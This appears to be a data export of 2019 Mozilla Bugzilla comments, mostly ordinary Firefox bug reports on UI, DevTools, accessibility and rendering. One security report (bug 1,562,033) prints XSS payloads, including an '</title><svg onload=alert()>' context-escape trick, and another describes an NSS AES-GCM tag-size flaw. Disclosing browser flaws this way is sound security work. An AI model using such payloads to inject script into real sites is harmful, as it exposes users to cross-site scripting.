Bug ID
int64 961
1.91M
| Comment ID
int64 3.98k
17.1M
| Author
stringlengths 8
48
| Comment Text
stringlengths 1
64.3k
⌀ |
|---|---|---|---|
1,578,105 | 14,334,622 |
Seems like the outline gets set but the background color doesn't. Looks pretty bad.
|
|
1,578,136 | 14,335,187 |
https://crash-stats.mozilla.org/report/index/8a3a7180-c5ff-4df6-953b-2c6f90190830
STR in https://github.com/mozilla/secure-proxy/issues/561
|
|
1,578,140 | 14,335,572 |
STR (with the NVDA screen reader):
1. Open https://mozilla.org/
2. Press alt+d, shift+tab to focus the tracking protection icon.
3. Press space to open the Protections panel.
4. Press b several times to focus "Protection Settings".
5. Press enter.
- Expected: Protection settings should open.
- Actual: Nothing happens.
This button (along with several others in that panel) is a XUL toolbarbutton containing a XUL label:
https://searchfox.org/mozilla-central/rev/9415ecf29ba1acbef9381335e0ecde5916ca4073/browser/components/controlcenter/content/protectionsPanel.inc.xul#128
The a11y tree reflects this; i.e. there's a XULLabelAccessible inside a XULToolbarButtonAccessible.
When you press enter, NVDA, as it always does, starts from the deepest accessible (the label). Because there's a click action, NVDA executes it (Accessible::DoAction).
This does call the click handler on the XUL label, which does nothing because this isn't for another control. This then bubbles up to the button. However, the button has a command handler, not a click handler, and that never gets run.
I guess the way that a11y simulates a click (Accessible::DispatchClickEvent) doesn't trigger this command handler, probably because of the click handler on the label. Interestingly, calling .click() on the label from javascript *does* work. Also, some brief playing suggests that really clicking the button with the mouse doesn't trigger the label's click handler. I'm not sure how this is happening.
I think the simplest fix here is probably just to override XULLabelAccessible to use the equivalent of JS .click(). Ideally, I'd like to know why this is misbehaving and/or fix the root cause, but given that this is XUL specific and the age of some of this XUL stuff, I'm not sure it's worth going down the rabbit hole.
|
|
1,578,174 | 14,336,928 |
**Steps to reproduce**
1. Navigate to `data:text/html,<meta charset=utf8><script>console.log("okay")</script><style>i {color: blouge;}</style><i>i</i><i>i</i>`
1. Open the Omniscient Browser Toolbox
1. Enable the CSS filter if it wasn't yet
1. Find the following message: `Expected color but found ‘blouge’.`
1. Expand it
**Expected results**
There's a NodeList displayed the user can expand, and that holds 2 `<i>` elements
**Actual results**
The NodeList is empty.
|
|
1,578,187 | 14,337,025 |
Created attachment 9089837
Large Protections Panel font size on Ubuntu 19.04
The Protections Panel font size on Ubuntu 19.04 with default 11pt font size (14.6667px) increased from 1.1em (16.1333px) to 1.18rem (17.3px) and now feels a bit too big.
Regression window:
https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=1c7a1d0fda0e9fbb6293ee15e0596361d98b7979&tochange=2b29ae6ba20f9c8edd8e51be7d594884b79fbf52
Regressed by Bug 1559258.
|
|
1,578,236 | 14,337,326 |
Created attachment 9089862
recommandation is no longer displayed after tab switch.gif
[Notes]:
- This issue is also reproducible in the following scenarios:
- When opening a new tab and switch back to the tab where the recommendation was triggered.
- When navigating to another website in the same tab and click the browser's "Back" button.
[Affected Versions]:
- Nightly 71.0a1
- Beta 70.0b3
[Affected Platforms]
- All Windows
- All Mac
- All Linux
[Prerequisites]:
- Have a new Firefox profile.
- Have set the `browser.newtabpage.activity-stream.asrouter.providers.cfr` pref to `{"id":"cfr","enabled":true,"type":"local","localProvider":"CFRMessageProvider","bucket":"cfr","frequency":{"custom":[{"period":"daily","cap":1}]},"categories":["cfrAddons","cfrFeatures"],"updateCycleInMs":3600000}`
- Have no passwords saved.
- You are NOT sync to FxA.
[Steps to reproduce]:
1. Open the latest Nightly browser with the profile from prerequisites and open a few tabs.
2. In a new tab navigate to a login page of a website (eg: https://twitter.com/login).
3. Complete the username and password fields with valid credentials.
4. Click the "Login" button and click the "Save" button from the "Save password" doorhanger.
5. Focus another tab, then focus back the tab where the recommendation was triggered.
5. Observe the addressbar.
[Expected results]:
- The "CFR Sync Logins" recommendation button is displayed.
[Actual results]:
- The "CFR Sync Logins" recommendation button is no longer displayed
[Additional Notes]:
- This issue is not reproducible with "CFR Pin tabs".
- Attached a screen recording with the issues.
|
|
1,578,238 | 14,337,337 |
Created attachment 9089864
poc_aes_gcm_invalid_tagsize.cpp
User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Steps to reproduce:
CKM_AES_GCM with tag size = 1024
Actual results:
Call succeeds and the memory region that is expected to contain the tag, is partially uninitialized.
Expected results:
Call must fail.
Please see attached proof of concept for clarification.
From a cursory inspection Firefox, SRTP, and NSS SSL appear not vulnerable. Marking this as a security problem in case any other users of NSS are vulnerable.
|
|
1,578,298 | 14,337,699 |
Created attachment 9089919
Screenshot
|
|
1,578,304 | 14,337,787 |
STR:
1. Open any website (not a new tab)
2. In the same tab navigate to http://www.bubbleshooter.net/games/001_bubble_shooter.swf
AR:
Tab titles does not update and is stuck on the previous page's title.
ER:
Tab title updates to the new title, in this case the entire url itself.
Note that this is working as expected when navigating from a new tab to the mentioned url.
|
|
1,578,330 | 14,337,985 |
Created attachment 9089964
resize_webrender.gif
**Affected versions**
* 70.0b3 (20190902191027)
* 71.0a1 (20190902213933)
**Affected platforms**
* Windows 10x64
**Preconditions**
* Ensure that in about:support at Graphics section “Compositing” has the “WebRender” attribute, if not set gfx.webrender.all to true.
* Possible Nvidia GPU needed for enabling WebRender.
**Steps to reproduce**
1. Open Firefox and constantly resize the browser from the bottom right.
**Expected result**
* No glitches are presented.
**Actual result**
* Glitches are presented on the top of the browser.
**Regression range**
* Last good revision: 98cbe150f012619bf9e8d44413fa33374e92dbc9 (2019-08-25)
* First bad revision: 0cf9eded35d8150796eda1f892666d0a778bd488 (2019-08-26)
* Pushlog:
https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=98cbe150f012619bf9e8d44413fa33374e92dbc9&tochange=0cf9eded35d8150796eda1f892666d0a778bd488
**Additional Notes**
* The issue is not reproducible on macOS 10.14 using the latest Nightly.
* I can reproduce the issue on Ubuntu but I think it’s bug 1547974.
* Attached a screen recording.
|
|
1,578,334 | 14,338,008 |
When disabling or enabling ETP, the screen reader user gets confusing announcements that suggest the operation didn't work, at least at first. A moment later the user gets a second announcement that the operation did work.
@jteh said:
1. In the panel, you toggle protection.
2. Focus returns to the protection button on the toolbar. However, the tooltip on the button hasn't been updated yet.
3. The tooltip updates. NVDA reports the updated tooltip.
Fixing this is going to require some kind of timing dance. We need to ensure the tooltip gets updated before the button gets focus after the panel is dismissed. That means either:
1. Updating the tooltip earlier.
2. Closing the panel when we do now and somehow delaying focus of the button.
3. Delaying closing of the panel until the tooltip updates, thus delaying return of focus to the button.
|
|
1,578,354 | 14,338,148 |
Created attachment 9089987
Schermata 2019-09-03 alle 10.24.04.png
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Steps to reproduce:
- Open the Performance tool in DevTools and begin to record
- Do any activity on the web (ex. search "firefox" on google.com then switch to Video)
- Stop the recording and select the Flame chart JS tab
The bug only affects recent builds such as Nightly 71 and Firefox Developer Edition 70, Firefox stable 68.0.2 is not affected.
Actual results:
No Call stack is shown (see attachment with dark background, Firefox Nightly 71)
Expected results:
A correct Flame Chart is shown (see attachment with light background, Firefox 68.0.2)
|
|
1,578,373 | 14,338,290 |
STR:
1. Record some profile from the performance tab in the devtools. Note: this is about the default (aka old) panel.
2. Hover with the mouse on top of the graphical part at the top of the window.
=> see that the vertical cursor doesn't follow the mouse properly, there's some translation.
3. Try to select a range.
=> the translation is still there.
I found that the problem is even worse when the devtools are docked to the right, and not too wide.
|
|
1,578,375 | 14,338,298 |
`__rebuid` queries layout, then does a bunch of calculations only to set a height on the buttons contains as explained in this comment:
```
// If the <div> with the list of search engines doesn't have
// a fixed height, the panel will be sized incorrectly, causing the bottom
// of the suggestion <tree> to be hidden.
```
Today the urlbar uses neither a popup nor a tree so I don't think we need this hack anymore.
|
|
1,578,447 | 14,338,924 |
Created attachment 9090073
test-extension-1-1.0.zip
**Steps to Reproduce**
Note: "Test Extension" refers to the extension attached to this bug.
In Nightly 71 or Beta 70:
1. In `about:config`, set `devtools.storage.extensionStorage.enabled` to `true`.
2. Load Test Extension in `about:debugging`.
3. Open any http(s) page in a new tab (e.g. https://www.mozilla.org/). If such a page was already open, reloading it is sufficient.
4. Open the addon toolbox for Test Extension in `about:debugging`.
5. Open the Storage panel and select the extension under "Extension Storage" in the left sidebar.
4. With the Storage panel left open and visible (it may be easiest to move the toolbox to a separate window), click the browserAction toolbar icon in the (first) window.
5. For each option in the browserAction popup:
* Click an option, e.g. "Background script adds a new storage item".
* Select the Console panel and note the storage item(s) that is/are modified.
* Verify the storage data displayed in the panel reflects the modification(s).
**Actual Results**
The Storage panel only auto-updates when storage items are added to extension storage local. Other modifications, like edit, remove and remove all do not auto-update and the 'Refresh Items' button in the top right corner of the panel must be clicked before those changes are reflected in the Storage panel.
**Expected Results**
Any kind of extension storage local modification should auto-update.
|
|
1,578,454 | 14,339,008 |
Created attachment 9090093
FF Reader Mode Zoom.jpg
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Steps to reproduce:
Enter Reader Mode
Press Control +
Actual results:
Zoom level did not increase beyond a certain point
Expected results:
It seems that prior to FF 69, zoom levels were much greater - in reader mode, anyway. I used to be able to zoom 8 levels to at least 300%. But with FF 69, I can only zoom 4 levels - 150%. In non-reader mode, I can still zoom 8 levels, so this tells me Reader Mode must have been changed. As someone with low vision (macular degeneration), this hinders my ability to easily read content. Please increase the maximum zoom level to where it was prior to FF 69.
|
|
1,578,489 | 14,339,187 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3879.0 Safari/537.36 Edg/78.0.249.1
Steps to reproduce:
1). Download candidate build (Such as Beta 70).
2). Installer icon is using the old logo as of version 70.
3). Look at EXE files located here: https://ftp.mozilla.org/pub/firefox/candidates/70.0b3-candidates/build3/
|
|
1,578,494 | 14,339,227 |
There are a couple of false positives that need to be taken care while the keyboard checks are still in beta. This is a bug that collects them all:
* remove combobox option from keyboard interactive list since it's does not need to be focusable
* PARENT_MENUITEM should be in interactive list
|
|
1,578,565 | 14,339,727 |
STR:
* Open `data:text/html,<svg width=100 height=100><rect y="0.41" width="60" fill="grey" style="height: 80px"></rect></svg>`
* Inspect the `<rect>` element.
ER:
* No inactive CSS warning, as height clearly applies.
AR:
* It says height doesn't apply, but it does.
|
|
1,578,633 | 14,340,616 |
I could reproduce this on a 69 release build today using the node script attached to bug 1202680.
Not sure what's going on yet, need to investigate.
|
|
1,578,715 | 14,341,228 |
When DevTools are shown and docked to the side (~15% of DevTools sessions), the urlbarView shows below the DevTools's splitter border.
Firefox 70.0b3 and Nightly are affected.
It looks like both elements belong to the same stacking context and are both `z-index: 1;`.
```css
/* browser/themes/shared/urlbar-autocomplete.inc.css */
.urlbarView:not(.megabar) {
position: fixed;
z-index: 1;
…
}
/* devtools/client/themes/splitters.css */
splitter.devtools-horizontal-splitter,
.devtools-side-splitter {
…
position: relative;
/* Positive z-index positions the splitter on top of its siblings and makes
it clickable on both sides. */
z-index: 1;
}
```
Setting the z-index for urlbarView to any value above 1 seems to fix it.
|
|
1,578,768 | 14,341,538 |
When changing the way the icons were treated due to windows high contrast mode, some sizing was skewed. The icons should all fit inside of a 64 * 64px box. The report Icon is too large.
|
|
1,578,807 | 14,341,778 |
Created attachment 9090439
ff69-search-json-mozlz4.zip
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Steps to reproduce:
Upgraded to Firefox 69.0 for macOS from 67.0.4.
Actual results:
Nearly all search engines were removed. The default search engine was removed, thus the default was set to a different search engine.
Expected results:
No changes to installed search engines or default search engine.
|
|
1,578,856 | 14,342,098 |
The preference browser.fixup.dns_first_for_single_words no longer works properly.
When this preference is true, doing single word lookups should never to www.singleword.com.
They should go from a DNS lookup to search.
This is a major issue for enterprise.
|
|
1,578,882 | 14,342,288 |
We had this report from a customer. Unfortunately I can't get a hold of them anymore, but still worth looking at:
Since Firefox ESR 68 we have a problem with internal certificates.
Firefox has the setting « security.enterprise_roots.enabled » enabled. In the Certificate Store of Windows 10 LTSC we have imported a Trusted internal CA. One of the internal sites is defined as a startpage and is loaded if firefox is opened .Firefox worked over years like a charm with this startpage and all other internal sites (Certificate signed with internal CA) until ESR 68.
Since ESR 68 if we start firefox, firefox starts the internal site, with is defined as « startpage ». Firefox displays a warning, that this site is not trusted !!. If i hit F5 (reload) the site is loaded und the certificate warning is gone.
This happens with all internal sites, if they are loaded as startpage or with the following syntax : firefox.exe https://internal.url.local. If firefox already open and i browse to an internal site, all sites are trusted.
Is there a timing problem with certificates (from the windows certificates store) on the start of firefox?
|
|
1,579,060 | 14,343,459 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Steps to reproduce:
I open management https websites from server hardware like DELL iDRAC, VMWare ESXi, Webmin, etc. which only have self signed certificate with Firefox 69. (OS = Windows 10 1903)
Actual results:
Firefox displays:
Fehler: Gesicherte Verbindung fehlgeschlagen
Beim Verbinden mit idrac.server.fqdn trat ein Fehler auf. Sicherheitsbibliothek: Fehlerhaft formatierte DER-verschlüsselte Nachricht. Fehlercode: SEC_ERROR_BAD_DER
(...bla...)
/quote
When clicking on (i) in front of the URL, it says connection is not safe (what is true due to self signed certificate on that device) , then click on ">" & more information, going to the security tab, it tells that the website has no owner and the website is not encrypted.
Expected results:
Open the website, like it still happened with Firefox 68.0.2 before.
Comment:
I can understand, that self signed websites are not the acme of security. But does it really make sense to block them totally? Then it even it is no more possible to secure them on device installation/maintenance, as you can't get into the device's management interface to assign a secure certificate. This is an egg-chicken-problem and it would be required that the user can override such blocking like it has been before. Otherwise user can not secure the device through it's web based management interface.
Or, isn't it a feature, but it is a bug?
|
|
1,579,366 | 14,345,469 |
**Steps to reproduce**
1. Go to `about:config` and turn off `devtools.webconsole.input.autocomplete`
1. Open the console
1. Type `deb`
1. Hit Ctrl+Space to display the completion text (should be `ugger`)
1. type `u`
1. Hit `Tab`
**Expected results**
The input get completed to `debugger`
**Actual results**
The input get completed to `debuugger`
---
This is because the completion text wasn't updated
|
|
1,579,418 | 14,345,830 |
Created attachment 9091018
homepage.gif
**Affected versions**
* 71.0a1 (BuildId:20190905215710)
* 70.0b3 (BuildId:20190902191027)
* 69.0 (BuildId:20190827005903)
* 68.1.0esr (BuildId:20190826132627)
**Unaffected versions**
* 60.9.0esr (BuildId:20190901094603)
**Affected platforms**
* Windows 10 64bit
* Windows 7 64bit
**Unaffected platforms**
* Ubuntu 18.04 64bit
* macOS 10.13.6
**Steps to reproduce**
1. Launch Firefox.
2. Access the about:preferences#home page.
3. Click on the “Homepage and new windows” dropdown menu
4. Navigate through the available options via up and down arrow keys several times.
**Expected result**
All available options are accessible via keyboard navigation.
**Actual result**
Sometimes, the “Custom URLs…” option is skipped and inaccessible.
**Regression Range**
* Pushlog: https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=ba46e4595079e4fb1222320e231b19a8049bb85d&tochange=968808feda5ae1791106316e63236e3346bbc812
* Potential regressor: Bug 1568855
**Notes**
For further information regarding this issue please observe the attached screencast
|
|
1,579,480 | 14,346,333 |
In order to trigger this you need to open a tab and get it to unmount before the idle callback happens.
In those cases, it's creating a memory leak.
|
|
1,579,539 | 14,346,811 |
As it is possible to change both the username and password from the password-change doorhanger, we should always pass the autoSavedLoginGuid param to promptToChangePassword, when an autosaved (generated-password) login on that origin exists.
This bug was found during verification of bug 1560042, see comments there for more context.
STR:
* From https://twitter.com/login, save a new login by entering "user1" as username and password "password123" in the form,
* Click "Log in" and confirm the save-password prompt that appears
* Load https://twitter.com/login again, clear out any autofilled fields
* Focus the password field and enter a generated password from the context menu (right-click, "Fill Password" -> "Use a securely generated password"
* (a confirmation hint shows up confirming the auto-saving of a new login with this password)
* Type in "user1" into the username field and submit the form
* When the "Update this login" doorhanger appears, confirm it with no changes to username or password values in the prompt fields.
* Load about:logins to examine the outcome
ER:
* A single login for twitter.com, with username "user1" and the generated password value
AR:
* A "user1" login with unchanged password "password123"
* A "" (no username) login with the generated password
* In the console a "Unexpected match of multiple logins" error is logged
|
|
1,579,612 | 14,347,269 |
Created attachment 9091235
screenshot-75.png
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Steps to reproduce:
Open history dropdown
Actual results:
Most of history entries contains some weird unicode entity
Expected results:
History entry should not contains any weird characters
|
|
1,579,705 | 14,347,803 |
https://searchfox.org/mozilla-central/rev/4bec213c1a534329bd6fd97f00c0fcfbd60e26ec/browser/locales/en-US/browser/preferences/preferences.ftl#905
The section header is now "Enhanced Tracking Protection", not "Content Blocking", but the strings weren't changed.
Since levels are adjectives, if the reference noun changes gender, the existing string isn't correct anymore. Just changing the localize string would create the opposite problem in any update to 68 ESR.
I've got a question from our Czech localizer a few days ago, and another one today for Italian, which made me start thinking it might be a larger problem.
One possible solution for preferences.ftl would be to create 3 new strings, and use the FTL2FTL migration to avoid losing translation. At that point localizers would be free to change the translation afterwards if they need, and we wouldn't have English content in the meantime.
The comment also mentions browser.properties. Are [those strings](https://searchfox.org/mozilla-central/rev/4bec213c1a534329bd6fd97f00c0fcfbd60e26ec/browser/locales/en-US/chrome/browser/browser.properties#500-507) actually still in use? I can't find them in the UI.
|
|
1,579,730 | 14,347,915 |
Bug 1572528 introduced a new label `contentBlocking.manageSettings2.label` but reused an existing accesskey.
That's bad for two reasons:
- The new label might not have that letter available. Since the accesskey was already translated, there's no easy way to spot an issue. When introducing a new label there should be a new accesskey, it doesn't matter if it's the same for English.
- We use a repository that covers all shipping versions of Firefox (cross-channel). That means that the accesskey can't be easily fixed (you'd need to pick a letter available in both).
|
|
1,579,768 | 14,348,160 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Steps to reproduce:
Debugging with latest DevEd, Paused on breakpoint, then Paused while stepping.
Actual results:
Browser tab got a grey overlay, and a message box, with the context about being paused.
Expected results:
I want to be able to see my content when I'm debugging. I _sort of_ understand that it can be confusing, especially when using a separate window for DevTools (like I always do) when stopped at a breakpoint, because if you look at the browser window and do click or type something, nothing happens because it is stopped at a breakpoint. After a bit, one figures that out, and returns to interacting with the DevTools!
BUT: when the content has the grey overlay, it is hard to evaluate shades of color underneath. And the stuff behind the message box cannot be seen.
Both the grey overlay, and the message box can hinder debugging, which is why I consider this a defect.
I recommend removing the overlay and message box as a well-meaning bad idea.
If lots of people love it, either make it optional on a setting, or make it "active" so that if you click the overlay or message box, that they go away for 30 seconds, so one can see the unadultered browser window for debugging analysis purposes.
If a similar setting or feature already exists to remove the grey overlay and message box, the message box should mention it.
|
|
1,579,824 | 14,350,130 |
Created attachment 9091396
Example of the display in both case.png
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Steps to reproduce:
Try the following HTML page on Fennec 68.1
<!DOCTYPE html>
<html>
<body>
<select size="3">
<option value="1">A</option>
<option value="2" selected>B</option>
<option value="3">C</option>
</select>
<select size="2">
<option value="4">D</option>
<option value="5" selected>E</option>
</select>
</body>
</html>
Actual results:
Nothing is selected. When I select something in the first menu, it is highlighted. If then I press somewhere else on the screen, the highlighting dissapear, making it impossible to know what is actually selected.
Expected results:
The B and E should be in evidence, as they are selected, as on Firefox's Windows version. When selecting other items on the drop out menus, it should leave the new selection selected.
|
|
1,561,654 | 14,199,960 |
User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Steps to reproduce:
Calling browser.downloads.download(...) in a WebExtension, f.e.
browser.downloads.download({
url: "http://localhost:8080/download/file.do",
filename: "whatever/you/want.pdf",
conflictAction: 'uniquify',
});
Actual results:
The cookie-Header (for a session cookie) wasn't set in the request.
Trying to set the header manually in browser.downloads.download(...) leads to a error message: "Error: Forbidden request header name"
Expected results:
The documentation says:
"If the specified url uses the HTTP or HTTPS protocol, then the request will include all cookies currently set for its hostname."
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/downloads/download
It works in Firefox <= 66 and stopped working in Firefox 67; also current Firefox 68 Beta doesn't work for me.
|
|
1,561,658 | 14,200,000 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Steps to reproduce:
I am a student, so i keep lots of tabs opened, but Firefox has this cool feature of only loading tabs one by one when you need them.
I have about 350-400 tabs and only 4 opened at the same time or so. For me it is important to keep them in order opened and for them to wait for me to read them.
1. I changed the settings for Fingerpringing/Tracking cookies, blue button showed up to "Reload all tabs".
2. I clicked the button
Actual results:
All tabs started to reload, including the 350 inactive ones, whole Windows started to lag and Windows eventually killed the process because of not responding.
Expected results:
The inactive tabs should have reloaded with the new setting only if i clicked on them to load. Only active tabs that were opened should have reloaded.
|
|
1,561,660 | 14,200,003 |
Created attachment 9074261
04 join.PNG
We should decrease the top padding of the modal so that it is fully visible on the screen without having to scroll. As seen in the screenshot, the 'skip' call-to-action is not immediately visible.
|
|
1,561,667 | 14,200,030 |
I can reproduce this in Firefox Reality. if I load a youtube video on one window and any WebGL demo on the other, both webpages get stuck. It seems a conflict between WebGL and video playing together in different active sessions.
|
|
1,561,871 | 14,201,453 |
Accidentally regressed by Bug 1559589 which switched the default numeric value of `letter-spacing` from `0` to `1.2`.
|
|
1,561,970 | 14,202,229 |
When a options_page embedded in the extension's about:addons details view or an extension sidebar is being created, the following errors are logged in the BrowserConsole:
```
JavaScript error: resource:///actors/BrowserTabParent.jsm, line 27: TypeError: gBrowser.announceWindowCreated is not a function
JavaScript error: resource:///actors/BrowserTabParent.jsm, line 32: TypeError: browser.ownerGlobal.gBrowserInit is undefined
```
It seems that these errors are not currently triggering any visible issues for the users, but they are already an "hint" that we should look into avoiding / fixing them soon.
webext-panels.js and aboutaddonsCommon.js are currently defining their "fake" gBrowser object to ensure that the tab modals (e.g. alert / confirm etc.) do work in these extension pages as they do when the extension page is loaded in a regular Firefox tab.
|
|
1,562,033 | 14,202,843 |
When creating any element (except "template" and "script" tags) using "document.createElement()" and "document.createElementNS()" function the provided HTML code gets rendered directly. Ideally the HTML code should not get rendered until it is manually inserted into DOM using "appendChild()" or similar function. I tested this issue on Chrome, Opera and Safari, they do not render the HTML code directly, also the HTML specs does not explicitly states to render the HTML code directly when creating the Elements. (Reference : https://dom.spec.whatwg.org/#dom-document-createelement)
For Example :
document.createElement("AnyElementBlahBlah").innerHTML="<svg/onload=alert()>"
This code would execute "alert()" function directly. We did not even need to insert the element in DOM.
Here's another interesting example :
document.createElement("title").innerHTML="</title><svg/onload=alert()>"
Here the content of "title" element should not be rendered at all but we are able to escape out of "title" tag context by prepending a closing "title" tag as shown in above example. Using this trick we can render our HTML code inside "title" element as well and execute our Javascript code. Damn.
The same flaw applies to "document.createElementNS()" as well.
For example :
document.createElementNS("http://www.w3.org/1999/xhtml", "title").innerHTML="</title><svg onload=alert()>"
Impact:
It can introduce XSS vulnerability to many web applications because HTML specs does not states to render HTML such a way and also the other browsers does not follow this practice so technically it would be safe to allow untrusted input like "document.createElement("title").innerHTML='UntrustedUserInput' " as long as the input is verified before inserting it to DOM, however for Firefox that's not the case because Firefox will render the Untrusted Input directly which would lead to execution of malicious Javascript as well.
Tested On :
- Firefox 68.0b13 (64-bit)
- Firefox 67.0.4 (64-bit)
|
|
1,562,050 | 14,202,956 |
[Description:]
In quantum bar, i cannot select any searches after clicking the show history button
[Environment:]
69.0a1 Nightly Ubuntu 18.04 / Macos 10.14.4 / Windows10 all affected
68.0b13 Beta Ubuntu 18.04 / Macos 10.14.4 / Windows10 all affected
67.0.4 Release not affected because quantum bar is turned off by default in about:config
[Steps:]
-Launch firefox with clean profile
-Open new tab, type www.youtube.com , hit enter
-Youtube site loads.
-With your mouse, click on the Down arrow (show history button, its hidden, you have to hover over it) (button is next to page actions / save to pocket/ bookmark)
-List of search suggestions appear
-Press down key on your keyboard
[Actual Result:]
On ubuntu: search suggestion sites appear, but if you press down key it scrolls the page
on Windows: search suggestion site appears, but if you press down key it does nothing
on MacOs: search suggestion site appears, but if you press down key it does nothing
[Expected Result:]
when you press show history button, the site should be highlighted, and then you press down key on keyboard you can navigate to one of the searches.
[Note:]
Since this does not reproduce with awesome-bar & Fx67, don't think it's a recent regression.
this happens with quantum bar, does not happen with awesome bar
|
|
1,562,115 | 14,203,374 |
Created attachment 9074683
screenshot of issue
Firefox 68.0b14 candidate 1 on Windows 8.1
The texts in the stub installer are longer for some locales which causes issues.
STUB_INSTALLING_HEADLINE has a forced linebreak.
STUB_INSTALLING_BODY often uses 4 lines for the text.
If both texts each use five lines, it will be cut off at the bottom. That's fixed for German but might also affect Russian:
https://transvision.mozfr.org/string/?entity=browser/installer/nsisstrings.properties:STUB_INSTALLING_HEADLINE&repo=gecko_strings
https://transvision.mozfr.org/string/?entity=browser/installer/nsisstrings.properties:STUB_INSTALLING_BODY&repo=gecko_strings
In general, there is some unused space available above the first string. Could the texts be moved up so the second one doesn't look crammed into the bottom left?
|
|
1,562,145 | 14,203,659 |
It is unable to select a part of url by mouse-dragging with clean new profile.
And it has been regressed by Bug 1554864.
Before landing Bug 1554864: mouse-down puts caret and mouse-dragging can select a part of url within dragging area. (Though clickSelectsAll is not working due to quantumbar bug)
After landing Bug 1554864: mouse-down selects whole url and mouse-dragging selects from beginning of url to mouse pointer.
Harry Twyford,
Your patch seems to cause the regression. Can you please look into this?
|
|
1,562,341 | 14,205,262 |
In Nightly builds of Firefox more recent than 2019-06-20, data channels will fail to connect in circumstances where they would previously connect. An example that is easy to test is https://janus.conf.meetecho.com/textroomtest.html (if you click "Start" and the data channel is successfully established with Janus, the UI will prompt you for a display name.) In recent versions, the data channel will never transition from "connecting" to "open".
Examples where Nightly is negotiating with itself seem to work, e.g. https://mozilla.github.io/webrtc-landing/data_test.html.
Nightly 2019-06-20 is definitely working and 2019-06-21 is definitely broken. Strangely, mozregression seemed to indicate that the very first commit after the 2019-06-20 build (https://hg.mozilla.org/integration/autoland/rev/5392c325d0229333a4479fd4a993633403960cc1) was broken, but it's hard for me to believe. There were several other commits between 2019-06-20 and 2019-06-21 that appear potentially more relevant, related to https://bugzilla.mozilla.org/show_bug.cgi?id=1556795.
|
|
1,562,555 | 14,207,479 |
mozregression tells me this is a regression from bug 1546343.
STR:
1. Open https://forums.whirlpool.net.au/forum/133.
2. Click on the "Group:" `<select>`.
3. With the mouse over the select popup, scroll the mouse wheel down.
If you have a `<select>` with enough items to be scrollable, then scrolling the popup with the mouse wheel (or with the arrow keys), results in the currently selected option not having the normal highlight color painted behind it, and the scrollbar also stops rendering.
I am on Linux Mint 18.3. I have a 2dppx display, which might be relevant.
Jan, could you take a look at this?
|
|
1,562,585 | 14,208,406 |
See https://bugzilla.mozilla.org/show_bug.cgi?id=1559686#c13 and below, in some cases we are not storing the user typed string, but a full url.
We should not store urls as inputhistory input strings. That means we may also want to skip pasted strings, if they look like urls.
Additionally, ensure we don't store empty strings, and don't execute the adaptive query for empty search strings.
|
|
1,562,691 | 14,209,245 | null |
|
1,562,821 | 14,210,217 |
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Steps to reproduce:
- Opened FF developer tools in Nightly (69.0a1 (2019-07-01))
- Confirmed that the Vue.js devtools and React devtools addons are working properly on the respective pages (locally hosted, they are usually disabled in production mode)
- Activated RDM without a page reload
- Confirmed that aforementioned addons are still working
- Reloaded the page to apply the user agent changes
Actual results:
- Vue.js devtools tab shows "Proxy injection failed"
- React devtools tab shows nothing and is unable to connect to React
Expected results:
- Both addons devtools tabs should load as expected and show my components and their properties
|
|
1,562,837 | 14,210,316 |
[Affected versions]
Firefox 69.0a1
[Affected platforms]
ALL
[Steps to reproduce]
1. Connect with NORD VPN to a US server.
2. Reach https://play.hbogo.com/ and Login.
3. Start any video and click the Full Screen button.
[Expected result]
The full screen button from the bottom right corner should be displayed.
[Actual result]
The Full screen button dissappears from the bottom right corner.
Regression range pushlog for the first known BAD build:
https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=4b11fe46132ced08322ca986ec9c56c15e862c06&tochange=251ef3905140484b28314e2dd07b37bc813bab32
|
|
1,562,894 | 14,210,818 |
[Description:]
The PIN option is always highlighted in the Top sites area.
[Environment:]
69.0a1 Nightly Win10 / Ubuntu 18.04 / Macos 10.14.4 (all affected)
68.0b14 Beta Win10 no/ Ubuntu 18.04 no/ Macos 10.14.4 (not affected)
67.0.4 Release Win10 no/ Ubuntu 18.04 no/ Macos 10.14.4 (not affected)
[Steps:]
Launch firefox
Open new tab
Check Top Sites
Click on "..." on one of the top sites
See "Pin" option
[Actual Result:]
Pin option is always highlighted, even if you hover over another option
[Expected Result:]
Pin option should not be highlighted, it should be highlighted only if you hover over it.
[Notes:]
Mozregression:
changeset: c04923179a923f5a94af9b6df475c266adbf39f0
pushlog_url: https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=c04923179a923f5a94af9b6df475c266adbf39f0&tochange=a72f0a08f652ab309328230659c97660e13cfd27
|
|
1,562,928 | 14,211,019 |
Created attachment 9075407
screencast of bug (the interesting part starts ~10 seconds in)
STR:
1. Start Firefox with a fresh profile, on a slow network connection.
2. Open a new tab.
3. Once some recommendation tiles have appeared, hover one of them and use its "..." top-right menu to dismiss it.
ACTUAL RESULTS:
